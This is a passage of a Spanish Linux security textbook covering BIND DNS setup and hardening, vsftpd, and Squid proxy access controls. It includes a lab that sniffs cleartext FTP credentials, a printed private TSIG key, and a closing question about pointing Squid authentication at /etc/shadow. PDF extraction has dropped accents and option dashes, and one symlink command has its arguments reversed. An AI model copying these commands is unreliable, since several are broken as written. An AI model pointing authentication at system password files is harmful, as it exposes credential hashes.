Para hacerlo por el webmin vaya a la carpeta hardware, haga click en networking y luego network
configuration.

Oprima el botn DNS client y responda los siguientes datos:

En hostname digite el nombre de su cliente por ejemplo ns1.mvaonline.com en DNS Server digite los IP de
los servidores dns primarios por ejemplo 127.0.0.1, 63.171.232.38 y en resolution order haga click en DNS y
Hosts.
En Search domain escriba el dominio al que usted pertenece por ejemplo mvaonline.com.

214

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

El paso anterior debi crear el archivo: /etc/resolv.conf con los siguientes datos:
domain
nameserver
nameserver
search

mvaonline.com
127.0.0.1
63.171.232.38
mvaonline.com

Adems se debi crear el archivo /etc/nsswitch.conf con las variables hosts: dns files.
Haga click en el botn Apply Changes para activar los servicios de dns
Reinicie el servidor dns con el comando:
# /etc/init.d/named reload

7.0

8.0

DOMINIOS VIRTUALES

Para crear dominios virtuales en el mismo servidor, repita la creacin de dominios con los mismos
IP o los IP de los dominios respectivos.

Edite dicha copia y reemplace el nombre del dominio.

Adicione en el archivo /etc/named.conf el nombre del dominio.

Estos pasos tambien se pueden hacer desde webmin

Creando Zonas DNS con h2n

h2n es un script elaborado en el lenguaje Perl que permite convertir el archivo /etc/hosts en sus zonas
correspondientes sin pasar por webmin o por alguna interface, los pasos para usarlo son:
1. Baje la ltima versin del sitio ftp://ftp.hpl.hp.com/pub/h2n/h2n.tar.gz.
2.Instale el mdulo perl Net::DNS
# perl -MCPAN -e 'install Net::DNS'
3. Ejecute h2n para verificar la zona # h2n -V zone.

215

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

9.0

Laboratorio:

Objetivo: Configurar el dns por medio de la utilidad h2n


Siempre se recomienda configurar el servidor DNS por el utilitario webmin, pero existe otra alternativa
denominada h2n.

Supuestos:
Si se desea ser servidor DNS y servidor de correos supongamos que se tiene un dominio con los siguientes
datos:
Dominio
: clienteservidor.net
IP valido
: 200.24.94.164
Nombre del servidor
: linux.clienteservidor.net
IP de la RED
: 200.24.94
Paso 1: Entre al sistema como el usuario root
Paso 2: Ahora edite el archivo /etc/hosts y adicione los IP y nombres de sus servidores internet, por
ejemplo:
/etc/hosts
127.0.0.1
200.24.94.164

localhost
linux.clienteservidor.net

linux

www

ftp

pop

smtp

Notemos que a la derecha del nombre en formato FQN (Nombre en formato largo) aparecen los alias.
En el archivo /etc/nsswitch esta el orden de bsqueda, se recomienda
hosts: files dns nis

Paso 3: Cree el directorio /var/named con el comando


# mkdir /var/named
Paso 4: Ahora pase al directorio antes creado, es decir:
# cd /var/named
Paso 5: Cree la BD para el dns con el comando h2n
# h2n d clienteservidor.net n 200.24.94 u postmaster@clienteservidor.net

Paso 6: Note que el comando h2n no genera el archivo db.cache que sirve para bsquedas en internet,
bjelo manualmente de IANA.net o haga una copia de /usr/lib/libexec...

Paso 7: Copie el archivo named.conf hacia /etc con el comando:


# cp named.conf /etc
Paso 8: Edite el archivo db.clienteservidor.net y corrija el error en el registro MX, note que a mano izquierda
aparece linux:
linux

IN MX 5 linux.clienteservidor.net.

Cambie la palabra linux o nombre del servidor por el nombre del dominio, para el ejemplo en cuestin sera:
clienteservidor.net.

IN MX 5 linux.clienteservidor.net.

216

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Ahora edite el archivo db.127.0.0 y adicione a la palabra localhost el dominio registrado, revise que al final
termine en un punto.
Es obligatorio incluir en cada archivo del dns en la primera lnea:
$ttl 38400
Paso 7: Arranque en tiempo de boot
Haga un link simblico del archivo /etc/init.d/named como /etc/rc.d/rc5.d/S13named:
# ln s /etc/rc.d/rc5.d/S13named /etc/init.d/named
Otra opcin sera por webmin, sistemas, start and shutdown y hacer click sobre named.
Paso 8: Edite el archivo /etc/resolv.conf y escriba el servidor DNS que le resolver sus consultas, para este
caso usted es el servidor en mencin:
domain clienteservidor.net
search clienteservidor.net
nameserver
127.0.0.1
Paso 9: Ahora suba el servicio con el comando:
# /etc/init.d/named stop y luego /etc/init.d/named start
Para cuestionar al dns por el servidor de correos digite
# dig MX clienteservidor.net
Note que el comando nslookup en BIND 9.x no soporta la opcin q en lnea de comandos por ello se debe
usar dig.

217

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

10.0

Laboratorio:

Objetivo: Configurar el dns por medio de la utilidad YAST de SUSE 9

Supuestos:
Si se desea ser servidor DNS y servidor de correos supongamos que se tiene un dominio con los siguientes
datos:
Dominio
: mvaonline.com.co
IP valido
: 10.0.0.6
Nombre del servidor
: firewall
IP de la RED
: 10
Es importante recordar que en SUSE los archivos de configuracin del dns estn en el directorio
/var/lib/named, por ejemplo el archivo /var/lib/named/127.0.0.zone contiene el IP en reversa para la zona
localhost. La lnea:
1

IN PTR localhost.

Debe ser cambiada por:


1

IN PTR localhost.mvaonline.com.co.

Nota: Observe el punto al final de la lnea.

Paso 1: Entre al sistema como el usuario root y llame la utilidad yast


Paso 2: Tome la opcin servicios de red, Servidor DNS, La primera vez el sistema le pregunta sobre la
configuracin del redireccionador, responda Siguiente.
Paso 3: En la opcin aadir nueva zona, Nombre de la zona, digite mvaonline.com.co y presione el botn
aadir.
Paso 4. Presione el botn editar zona, Registro NS, digite el nombre de la maquina que para este caso se
llama: firewall.mvaonline.com.co. Presione aadir.
Paso 5. Presione Registro MX, en el campo direccin digite: firewall.mvaonline.com.co, en el campo Prioridad
digite 10 y presione aadir.
Paso 6. Presione Registros, en el campo Clave de registro digite: firewall.mvaonline.com.co, seleccione Tipo
A, en el campo valor digite el IP del servidor: 10.0.0.6, presione aadir.
Paso 7. Presione Registros, en el campo Clave de registro digite: www.mvaonline.com.co, seleccione Tipo
CNAME, en el campo valor digite el nombre del servidor: firewall.mvaonline.com.co, presione aadir.
Paso 8. Presione Registros, en el campo Clave de registro digite: pop.mvaonline.com.co, seleccione Tipo
CNAME, en el campo valor digite el nombre del servidor: firewall.mvaonline.com.co, presione aadir.
Paso 9. Presione Registros, en el campo Clave de registro digite: smtp.mvaonline.com.co, seleccione Tipo
CNAME, en el campo valor digite el nombre del servidor: firewall.mvaonline.com.co, presione aadir.
Paso 10. Presione Registros, en el campo Clave de registro digite: ns.mvaonline.com.co, seleccione Tipo
CNAME, en el campo valor digite el nombre del servidor: firewall.mvaonline.com.co, presione aadir.
Presione Aceptar para volver al men principal: Inicio, Zonas DNS:

218

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

Paso 11: En la opcin aadir nueva zona, Nombre de la zona, digite 10.in-addr.arpa y presione el botn
aadir.
Paso 12. Presione el botn editar zona, Registro NS, digite el nombre de la maquina que para este caso se
llama: firewall.mvaonline.com.co. Presione aadir.
Paso 13. Presione Registros, en el campo Clave de registro digite: 6.0.0.10.in-addr.arpa, seleccione Tipo
PTR, en el campo valor digite el nombre del servidor: firewall.mvaonline.com.co, presione aadir, aceptar y
finalizar.
Paso 14. Presione en la seccin arrancando: Encendido y luego en la seccin Encender y Apagar: Iniciar
servidor DNS ahora. Presione finalizar para termina.
Paso 15: Pruebe el funcionamiento del DNS.
Paso 16. En la utilidad YAST, opcin Servidor DNS Inicio, presione el botn: Soporte LDAP Activo. Esto
sincronizar los archivos planos de /var/lib/named contra LDAP.

219

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

11.0

Actualizacin dinmica del IP por DHCP

Para que el DNS sea actualizado por el proceso de DHCP se necesita una llave privada para cifrar el canal
entre el servicio DHCP y el servicio DNS.
Se recomienda que el archivo con la clave secreta resida en el directorio /etc/named.d/named.keys
Para generar la llave secreta digite:
# mkdir p /etc/named.d
# cd /etc/named.d
# dnssec-keygen
a

HMAC-MD5

512

n USER DHCP_UPDATER

Este comando genera un par de archivos con la llave privada, el archivo con extensin .private contiene la
llave privada necesaria para la autorizacin.
El contenido de la llave se encuentra frente a la palabra clave Key:
Observe el contenido del archivo:
# cat

*.private

Private-key-format: v1.2
Algorithm: 157 (HMAC_MD5)
Key: W4agAGujz MZDdm2u1q +pNSj7EBP vrjpY+rJs Fw97gXD sR sd L 0 Q g P f B 0 L b o w R
+8BwEY1YMOOT7xaNHZNv7A==

JoBd

Ahora se debe crear un archivo que contenga la llave privada para ser incluida en el archivo de configuracin
del DNS y del DHCP:
Edite el archivo /etc/named.d/named.keys y adicione las siguientes lneas:
key DHCP_UPDATER {
algorithm hmac-md5;
secret W4agAGujz MZDdm2u1q +p. y el resto de la llave;
};
Observe que en el parmetro secret se debe incluir la llave privada generada por el comando dnsseckeygen.

Nota: Se debe copiar el archivo /etc/named.d/named.keys al directorio /var/lib/named/etc/named.d si el


sistema usa seguridad.
Edite el archivo /etc/named.conf y justo antes de la palabra clave zone incluya la lnea:
include /etc/named.d/named.keys;
En las zonas del dominio administrador por el DHCP incluya la siguiente lnea:
allow-update {key DHCP_UPDATER;};
Por ejemplo:
Para el dominio mvaonline.com
zone mvaonline.com IN {
type master;
file /var/lib/named/master-zones/mvaonline.com.hosts
allow-update {key DHCP_UPDATER;};
}
La instruccin tambin debe ir dentro del dominio en reversa:
zone 1.168.192.IN-ADDR.ARPA IN {

220

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

type master;
file /var/lib/named/master-zones/1.192.168.hosts
allow-update {key DHCP_UPDATER;};
}
Nota: Se deben cambiar los permisos del directorio /var/lib/named que es el CHROOT del servicio DNS, as:
# chown R named:named /var/lib/named

Ahora se le debe informar al servicio DHCP que haga actualizacin automtica del DNS cuando asigne IPs a
los clientes, para ello, edite el archivo /etc/dhcpd.conf, con la siguiente informacin:
authoritative;
ddns-update-style interim;
include /etc/named.d/named.keys;
zone mvaonline.com. {
primary 127.0.0.1;
key DHCP_UPDATER;
}
Ntese que el domino ahora no incluye las comillas dobles alrededor y adems termina con el smbolo punto
., la instruccin key DHCP_UPDATER tambin debe ir dentro del dominio en reversa, as:
zone 1.168.192.IN-ADDR.ARPA. {
primary 127.0.0.1;
key DHCP_UPDATER;
}

Reinicie los servicios:


# /etc/init.d/named restart
# /etc/init.d/dhcpd restart

Para ver los errores se debe verificar el archivo de logs con el comando:
# tail /var/log/messages
NOTA: Si al reiniciar los servicios se presentan errores, de tipo, que no encuentra el archvo named.keys o
que no se puede actualizar el DNS con entradas de Hosts se deben modfificar los siguientes archivos:
/etc/sysconfig/dhcpd
La linea que se encuentra asi:
DHCPD_CONF_INCLUDE_FILES=""
Se debe modificar por lo siguiente:
DHCPD_CONF_INCLUDE_FILES="/etc/named.d/named.keys"

Y en el archivo /etc/sysconfig/name, la siguiente lnea se debe


modificar:
NAMED_RUN_CHROOTED="yes"
por el valor no.

Para ver los errores se debe verificar el archivo de logs con el comando :

221

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

# tail /var/log/messages

12.0

Blindaje del servicio DNS

Mensajes Lame DNS


A veces sucede que la respuesta de un servidor no es autoritativa, eso hace que se genere un mensaje de
error en /var/log/messages, para deshabilitar la opcin que genera esos errores se deben adicionar las
siguientes lneas al archivo /etc/named.conf
logging {
category lame-servers {null;};
};

Versin del servidor DNS


Para desactivar que el servidor DNS muestre la versin se debe deshabilitar esa caracterstica:

Options {
Version none;
};

Cache poisoned
CVE : CVE-1999-0024
Para eliminar la posibilidad de que el servidor DNS obtenga respuesta de autoridades falsas se debe
desactivar la recursividad en la bsqueda para las redes diferentes a las locales:
Options {
Version none;
Allow-recursion { 127.0.0.1; ip_lan; };
};

Como quedara todo en el archivo de control /etc/named.conf:


acl "internals" {
127.0.0.1;
};
options {
auth-nxdomain
directory
version
allow-recursion
allow-transfer

no;
"/var/named";
none;
{ "internals"; };
{ "internals"; };

};

logging {
channel namedlog {
file "/var/log/named.log" versions 5 size 2m;
print-time yes;
print-category yes;
};
category xfer-out
{ namedlog; };
category panic
{ namedlog; };
category security
{ namedlog; };
category insist
{ namedlog; };

222

Parte II, Captulo 7 Asegurando la infraestructura de red - DNS

category response-checks
category lame-servers

{ namedlog; };
{ null; };

};

Bibliografa



Using Caldera OPEN Linux, Editorial QUE, Allan Smart,


2000.
Guia Paso a paso, cmo instalar un servidor de DNS en Linux,
por JIPS, BankHacker, 2002
http://webmaster.bankhacker.com/dns/bind.phtml

 http://www.isc.org/products/BIND/

223

Captulo 8
Asegurando la infraestructura de red
FTP
1.0

2.0

Para que sirve el servicio FTP


Permite que archivos de un sistema se copien a otro sistema local o remoto
No es necesario que el usuario se registre como usuario completo (login y password). Esta caracterstica
se le conoce como ftp anonymous
Esto lo hace diferente a Telnet pues no emula una sesin de terminal remota.
Es el segundo servicio ms usado en Internet
Permite pblicar programas, documentos, manuales, etc.
Filosofia del servicio FTP
Se basa en la arquitectura cliente/servidor de dos niveles
El usuario se valida con la cuenta anonymous por defecto
Se puede configurar para cuentas de usuarios diferentes de anonymous
El Browser o Cliente ftp pide un archivo y el servidor se lo enva
Utiliza los puertos 20 para transferir datos y 21 para control
Los puertos son de tipo tcp.
El servidor dialoga con el cliente por medio del protocolo ftp (File Transfer Protocol)

Filosofia
1.
2.
3.
4.
5.

Arquitectura cliente/servidor de dos


niveles
Browser/Cliente pide un archivo y el
servidor se lo envia
Utiliza los puertos 20 para transferir
datos y 21 para control
Los puertos son de tipo tcp.
El servidor dialoga con el cliente por
medio del protocolo ftp. (File
Transfer Protocol)

Slide 5

3.0

Archivos de configuracion
El archivo /etc/ftpusers: Contiene los usuarios que no estn autorizados a copiar archivos, por ejemplo
por defecto root no puede hacer ftp al servidor linux
El archivo de configuracin mas importante de vsftp se denomina /etc/vsftpd.conf

224

Parte II, Captulo 8 Asegurando la infraestructura de red - FTP

4.0

El servicio de ftp se carga en forma automtica cuando Linux inicia si esta activado en el archvio
/etc/inetd.conf
No se recomienda habilitar ftp en cambio se sugiere utilizar ftp seguro es decir ssh.
En algunos Linux el servicio ftp como el telnet estn desactivados por seguridad.
Los logs se encuentran en el archivo /var/log/vsftpd.log.
El servidor web de donde se puede obtener una nueva versin es http://vsftpd.beasts.org

Comandos FTP
ftp maquina_remota, se conecta al servidor remoto
Get archivo, trae un archivo
Put archivo, pone un archivo en el servidor
Dir, muestra una lista de archivos
Close, cierra la sesion

5.0

Tipos de Configuraciones FTP

5.1

Usuarios anonymous

Una conexin con usuario anonymous no pide autenticacin al usuario, para configurar este comportamiento
modifique el archivo de configuracin /etc/vsftpd.conf:
Parmetro
Anonymous_enable=YES
Anon_root=/srv/ftp/pub
Anon_max_rate=24576
Deny_email_enable=YES

5.2

Funcionalidad
Habilita que usuarios anonymous entren y descarguen archivos
pblicos del sistema
Apunta hacia el directorio donde iniciar el usuario anonymous
Indica el ancho de banda por segundo o tasa de transferencia que
se le asignar al usuario
Indica que si la direccin suministrada en el password del usuario
anonymous concuerda con una direccin de este archivo se le
deniegue el acceso.

Usuarios Guest

Una conexin con usuario de tipo guest pide autenticacin al usuario pero lo limita a una cuenta sin
propiedades de administracin, adems lo limita a un directorio especifico dentro del sistema de archivos, si
un hacker compromete el sistema con este usuario quedar limitado al directorio del usuario guest. Para
configurar este comportamiento modifique el archivo de configuracin /etc/vsftpd.conf:

Parmetro
guest_enable=YES
guest_user_name=guest
chroot_local_user=YES
passwd_chroot_enable=YES

5.3

Funcionalidad
Habilita que usuarios de tipo guest entren y descarguen archivos
pblicos del sistema
Hace una traslacin del usuario de tipo guest hacia el usuario o
cuenta guest. Esta cuenta debe existir en el sistema Linux.
Indica que el usuario no podr moverse fuera del rbol de
directorios que se le asigno
Esta opcin combinada con chroot_local_user obliga al usuario a
usar el home directory indicado en /etc/passwd.

Usuarios reales

Una conexin con usuario de tipo real pide autenticacin al usuario local que debe existir en el archivo
/etc/passwd, el usuario local puede o no estar limitado a un directorio especifico dentro del sistema de
archivos, si un hacker compromete el sistema con este usuario quedar limitado al directorio del usuario en
cuestin.
Para configurar este comportamiento modifique el archivo de configuracin /etc/vsftpd.conf:

225

Parte II, Captulo 8 Asegurando la infraestructura de red - FTP

Parmetro
local_enable=YES

Write_enable=yes
chroot_local_user=YES
User_config_dir=/etc/vsftpd_user_conf

Funcionalidad
Habilita que usuarios locales entren y lean o graben
archivos en su directorio. Por defecto el usuario root
esta denegado.
Habilita que el usuario pueda escribir en el servidor
Indica que el usuario no podr moverse fuera del rbol
de directorios que se le asigno
Es opcional.
Sirve para controlar que en este directorio quede un
archivo de configuracin por cada usuario. El nombre
del archivo es el nombre del usuario, el formato del
archivo es igual al vsftpd.

226

Parte II, Captulo 8 Asegurando la infraestructura de red - FTP

6.0

Laboratorio: Configuracin del servicio ftp con vsftpd

Prerrequisitos:

#
#
#
#
#
#
#
#
#
#

Se debe crear un usuario denominado col con password sistemas para hacer las pruebas de
conexin en el mismo servidor
Para revisar si el software esta instalado en un Linux basado en redhat revise con el comando rpm
q vsftpd
Para instalarlo sobre un Linux basado en debian el comando seria apt-get install vsftpd
Para instalarlo desde el archivo tarbal sobre cualquier versin de Linux, siga los siguientes pasos:

cd /tmp
tar xzvf vsftpd*
cd vsftpd*
make
useradd nobody
mkdir p /usr/share/empty
mkdir p /var/ftp
make install
cp vsftpd.conf /etc
vi /etc/vsftpd.conf, y haga la variable listen = YES, y pam_service_name=vsftpd

Para arrancar el servicio manualmente digite /usr/local/sbin/vsftpd &


Para apagar el servicio digite killall vsftpd

Paso 1:
Haga un ftp al nombre de servidor localhost
# ftp localhost
Le permite conectarse?
Como saber si el servicio ftp ya esta habilitado?
Para que el servicio vsftpd se cargue en tiempo de inicio en forma automtica por el superproceso xinetd, se
debe editar el archivo /etc/xinetd.d/vsftpd, y la variable disable debe estar desactivada as: disable=no
service ftp
{
socket_type
protocol
wait
user
server
disable
}

= stream
= tcp
= no
= root
= /usr/sbin/vsftpd
= no

Si el archivo /etc/xinetd.d/vsftpd no existe es por que no se ha instalado y podra estar usando


/etc/inetd.conf, si se utiliza el servicio inetd.conf, en este debe existir una lnea ftp que debe estar sin el
signo comentarios #.
Para que los usuarios locales puedan autenticarse se debe configurar el archivo /etc/pam.d/vsftpd as:
#%PAM-1.0
# Uncomment this to achieve what used to be ftpd -A.
# auth
required
pam_listfile.so item=user sense=allow file=/etc/ftpchroot onerr=fail
auth
required
pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed
# Uncomment the following line for anonymous ftp.
#auth
sufficient
pam_ftp.so
auth
required
pam_unix2.so
auth
required
pam_shells.so
account required
pam_unix2.so
password required
pam_unix2.so

227

Parte II, Captulo 8 Asegurando la infraestructura de red - FTP

session required

pam_unix2.so

Para arrancar el servicio manualmente digite /usr/local/sbin/vsftpd &


Para apagar el servicio digite killall vsftpd

Paso 2:
Prueba si hay conectividad con el usuario anonymous y clave a@b.com
# ftp localhost
Al no tener conectividad debe habilitarse esta capacidad en el siguiente paso.

Paso 3:
Edite el archivo de configuracin /etc/vsftpd.conf y configure las siguientes variables:
anonymous_enable=YES
local_enable=YES
write_enable=Yes
Para que los cambios tomen efecto, reinicie el servicio, digite en la lnea de comandos:
# /etc/init.d/xinetd restart
Pruebe haciendo una sesin ftp con el usuario col y password sistemas
# ftp localhost
Trate de devolverse del directorio actual, se lo permite el ftp?

Paso 4:
Para evitar que el usuario se devuelva entre directorios, edite el archivo de configuracin /etc/vsftpd.conf y
modifique el parmetro:
chroot_local_user=YES
Para que los cambios tomen efecto digite en la lnea de comandos:
# /etc/init.d/xinetd restart
Trate de devolverse del directorio actual, se lo permite el ftp?

Paso 5:
Para cuando un usuario escriba archivos en el servidor la mascara debe ser el defecto:
local_umask=022
Para habilitar que cuando el usuario entre en algn directorio le salga una ayuda:
dirmessages_enable=YES
Para hacer logs cuando se hagan transferencias de archivos.
xferlog_enable=YES
Para asegurarse que el servicio este en el puerto numero 20:
connect_from_port_20=YES

228

Parte II, Captulo 8 Asegurando la infraestructura de red - FTP

Reinicie el servicio y cargue un sniffer como tcpdump o ethereal.


Pruebe haciendo una sesin ftp con el usuario col y password sistemas
Se puede ver el nombre del usuario y la clave del usuario?

Sugerencia: No se recomienda usar FTP para el intercambio de archivos, debido a que el usuario y el
password viajan en la red en claro por lo tanto se debe utilizar ssh o sftp

229

Captulo 9
Asegurando la infraestructura de red
PROXY

1.0

PROXY

Un Firewall es un conjunto de limitaciones de acceso para hacer nuestros servidores ms seguros frente al
mundo exterior. Hay dos clases de firewall, los de filtros de paquetes y los de aplicaciones. A los firewall de
filtros de paquetes se les llama firewall de nivel de red, pero a los firewall de tipo proxy se les denomina
firewall de aplicaciones debido a que estos servicios estn por encima del nivel de red en el modelo OSI de la
ISO.
Existen muchos programas firewall de tipo proxy para Linux algunos son:

Active guardian (http://www.activeguardian.com)


Apache mod_proxy (http://www.apache.org)
Delegate (http://wall.etl.go.jp/delegate)
SQUID (http://squid.nlanr.net)

Proxy significa actuar en representacin de otro, entonces un profesional en derecho (abogado) es a un


ciudadano como squid es a un usuario de red local, es decir un Firewall de filtro de paquetes no cambia el
contenido del paquete nicamente lo reenva o lo borra a diferencia de un firewall proxy que transforma el
paquete antes de enviarlo.

230

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

El cliente de la red local generalmente debe ser configurado antes de que este pueda usar el servidor proxy,
el servidor proxy se sita en el medio entre Internet o la red externa y la red local entonces el proxy acta
como un relevo Internet relay de acceso a Internet. El servidor proxy recibe los requerimientos de los
clientes y los reenva hacia Internet.
El servidor proxy mantiene un cache en disco duro de los documentos que accedieron ltimamente a
Internet de algn trfico especfico, para cuando un usuario de la red local llame a un documento que fue
consultado ste deber estar en el cache y el servidor web no deber traer nuevamente el documento;
obviamente hay datos que no se llevan a cache como las pginas web generadas por scrips cgi (Common
gateway interface) y los mensajes de error que el servidor web enva a los clientes.
La idea desde el punto de vista telemtico es disminuir la utilizacin del ancho de banda por accesos a
Internet, los accesos se pueden limitar dependiendo de la parametrizacin por medio de las listas de control
de acceso.
A menudo a los proxys se les llama Gateway de aplicaciones, un proxy transparente trabaja de la mano
con un firewall de filtro de paquetes para permitir otros servicios diferentes al acceso http.

231

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

El software SQUID es un servidor proxy para servicios de Internet, este puede ser configurado como Proxy
genrico o como Transparent proxy.
La pgina web del grupo de desarrollo de SQUID es http://www.squid-cache.org
Una deficiencia del proxy genrico es que se debe configurar una aplicacin proxy por cada servicio de red
como ftp, correo, web, news, etc.
Squid no soporta protocolos de datos streaming como Real Audio o Real video.
Squid no soporta los protocolos de correo POP, IMAP y NNP.

232

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

2.0

Configuracion del servicio proxy por medio de webmin

La configuracin del servidor Linux como un servidor de Firewall de aplicaciones proxy se realiza a travs de
la interface web de Linux webmin.
Tome la opcin servers, Squid Proxy Server:

Antes de poder trabajar con el servidor proxy Squid, es necesario inicializar la cache del servidor Proxy, con
lo cual necesitamos definir un usuario con el cual se ejecute el servidor Proxy. Para ello creamos el usuario
"proxy" y el grupo "proxy " (Ambos creados por el sistema webmin). El mismo debe poseer como shell
/bin/false.
Despus ingresaremos a "Administrative Options" y verificaremos que el usuario y grupo seleccionados sean
los correctos.
Ingresamos a "Cache Options" y definimos el directorio donde almacenaremos los archivos de cache de
Squid "Cache Directory, el tamao del cache y los directorios de primer nivel y segundo nivel, que es la
forma que Squid utiliza para administrar l cache. El directorio donde almacenar los archivos puede ser el
directorio por omisin de Squid (/usr/local/squid/cache) o aquel que definamos nosotros. El directorio debe
ser creado previamente para poder trabajar con Squid. Si se desean utilizar mas de un directorio para
almacenar el Cache, estos deben ser creados de a uno por vez.
Una vez realizados estos pasos podemos inicializar l cache con el botn "Initialize Cache" o "Clear and
Rebuild Cache".

Para hacer esto mismo en forma manual se debera digitar:


# /etc/init.d/squid stop
# squid f /etc/squid/squid.conf -z

233

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

# /etc/init.d/squid start
El men de configuracin de Squid incluye las siguientes opciones:

Configuracin de puertos y direcciones sobre las Ports and Networking


que se dan los servicios de proxy
Los parmetros que esta interface modifica se encuentran en el archivo /usr/local/squid/etc/squid.conf
pero podra estar en otro sitio pues esto vara segn las versiones, siendo generalmente el directorio
/etc/squid.

234

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

Revisemos algunos parmetros del archivo squid.conf:


http_port: Configura el puerto lgico sobre el cual el servidor proxy funcionara. Si en vez de ser el puerto
3128 lo queremos cambiar por el puerto 8080, entonces quedara como http_port 8080.
Se puede configurar el proxy para que trabaje con 2 puertos lgicos:
http_port 3128 8080
cache_mem: Es la cantidad de memoria que va a ser utilizada para guardar objetos se lleven a cache por el
servidor. no incluye los procesos SQUID que se estn ejecutando. El valor por omisin es 8 Mb.
cache_mem 8Mb
maximum_object_size: El tamao mximo que podrn ocupar los archivos que sean cacheados a disco. Es
decir que no sern guardados en disco aquellos archivos que sean mayor a un determinado tamao . El valor
por omisin es 4096 Kb.
maximum_object_size 4096 KB
cache_dir: Es el directorio en el cual se almacenara el cache . Este puede encontrarse en otro filesystem de
ser necesario.
cache_dir /usr/local/squid/cache 100 16 256
En donde /usr/local/squid/cache es el directorio por omisin, 100 significa la cantidad mxima de espacio
que se almacenar y 16 son los subdirectorios de primer nivel y 256 los de 2 nivel para el cache.
cache_access_log: Mantiene un registro de aquellos clientes que accedieron al cache
cache_access_log /usr/local/squid/logs/cache.log
pid_filename: En este archivo se indica cual es el pid (Process Identification) con el cual se esta ejecutando
el servidor SQUID .
pid_filename

/usr/local/squid/logs/squid.pid

debug_options : Indica el nivel de debug que se va a ejercer sobre el proxy . Se puede configurar segn
el nivel de log que se requiera o la calidad del mismo . Al ejecutarlo de la sgte. manera

235

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

debug_options ALL,1
En este caso haremos un log de todo el sistema con un nivel 1 que es el mas bajo, siendo el nivel mas alto
de log el 9.
reference_age: Es el tiempo mximo que un archivo permanecer en el cache. Despus de esto el archivo
es eliminado del cache, el valor por omisin es un mes .
reference_age 1 month
cache_efective_user: Es el usuario con el cual se guardaran los documentos en el disco.
cache_efective_user nobody
cache_efective_group: Es el grupo con el cual se guardaran los documentos en el servidor .
cache_efective_group nobody
visible_hostname : Si en los mensajes de error desea que aparezca el nombre del servidor.
visible_hostname squid.sco.com

3.0

Listas de control de acceso:

Se puede limitar el acceso a los usuarios de la red local hacia Internet, o hacia determinadas pginas o
servidores web.
Para ello se utiliza el comando acl, que son las listas de acceso que nos limitaran el acceso a Internet.
El lmite impuesto a los usuarios se compone de 2 comandos, http_access y acl.

236

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

Con acl se construye la lista de direcciones IP, direcciones WEB o aquello que sea requerido para despus
utilizar el http_access y denegar o autorizar el acceso a los diferentes recursos.
La sintaxis genrica es:
acl <nombre_acl> <tipo_acl> <direccin>
Para controlar puertos:
acl <nombre_acl> port <numero puerto>
Para controlar url:
acl <nombre_acl> url_regex <expresin_regular o archivo>
Para controlar el acceso por tiempo:
acl <nombre_acl> time <Abreviatura del da> <h1:m1-h2:m2>
Donde las abreviaturas del da son:
S-sunday (Domingo)
M-Monday (Lunes)
T-Tuesday (Martes)
W-Wednesday (Mircoles)
H-Thursday (Jueves)
F-Friday (Viernes)
A-Saturday (Sabado)

237

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

Con http_acces <allow/deny> <nombre_del_acl> impondremos un orden de reglas, el orden en que


aparezcan es el orden de ejecucin de las reglas.
Allow significa se permite y deny significa denegar o prohibir.
Por ejemplo vamos a limitar el acceso a aquellos usuarios que se encuentren en las direcciones IP entre
10.10.1.5 hasta la direccin 10.10.1.10.
El nombre de la lista de acceso ser ventas y negaremos el acceso a dichas direcciones:
acl ventas 10.10.1.5-10.10.1.10/255.255.255.255
http_access deny ventas
Ahora limitaremos el acceso al dominio playboy.com:
acl playboy dstdomain playboy.com
http_access deny playboy
Creemos un acl que agrupe varios puertos:
acl puertos_seguros port 80 21 23 25 110 114 443 563 1025-65535
http_access allow puertos_seguros
Ahora una lista que agrupe fechas de lunes a viernes durante las horas 8AM a 6PM:
acl horas_de_trabajo time M-F 08:00-18:00
http_access allow horas_de_trabajo

4.0

Configuracin de acceso de usuarios

Tambin podemos configurar el servidor proxy para que permita el acceso al sistema de solo aquellos
usuarios que hayan iniciado sesin en el proxy.
Crear una lista con "External Auth" y valor REQUIRED, Nivel de acceso Allow
En la pantalla de configuracin principal de Squid ir a "Helper Programs -> Custom authentication Program"
e indicar ah algunas de las opciones de autenticacin.
Los mtodos de autenticacin disponibles son:
Servidor de Dominio Samba/Microsoft:
/usr/lib/squid/smb_auth -W DOMINIO

Servidor LDAP:
/usr/lib/squid/squid_ldap_auth -b dc=lacositarica,dc=com -u cn -s sub 1.2.3.4

Archivo de claves
/usr/lib/squid/nsca_auth

/etc/squid.d/claves

Analizaremos caso por caso el como verificar la correcta conexin a los distintos servicios
Servidor de Dominio:
# /usr/lib/squid/smb_auth -W DOMINIO -d usuario clave
La nica diferencia radica en la autenticacin del usuario bajo el sistema de controlador de dominio, en
el que en el directorio de \\NETLOGON del usuario debemos crear el archivo proxyauth que contenga
solamente la palabra "Allow" y con permisos 444.
Adems deberemos agregar en el archivo /usr/lib/squid/smb_auth.sh las siguientes lneas
SAMBAPREFIX=/usr;

238

Parte II, Captulo 9 Asegurando los servicios de red - Proxy

export SAMBAPREFIX;

Servidor LDAP:
# /usr/lib/squid/squid_ldap_auth -b dc=lacositarica,dc=com -u cn -s sub 1.2.3.4 usuario clave

Archivo de claves
Para crear el archivo de claves digite:
# htpasswd -c /etc/squid.d/claves
# htpasswd
/etc/squid.d/claves

usuario
usuario2

Edite /etc/squid.d/squid.conf y edite la lnea ncsa_auth para que permita validar los usuarios contra un
password:
authenticate_program

/usr/sbin/ncsa_auth

/etc/squid.d/claves

Cree un ACL y autorice la autenticacin:


acl

password

proxy_auth

http_access

allow

password

REQUIRED

Que pasara si el authenticate_program apuntara a /etc/shadow ?, es decir:


authenticate_program

5.0

/usr/sbin/ncsa_auth

/etc/shadow

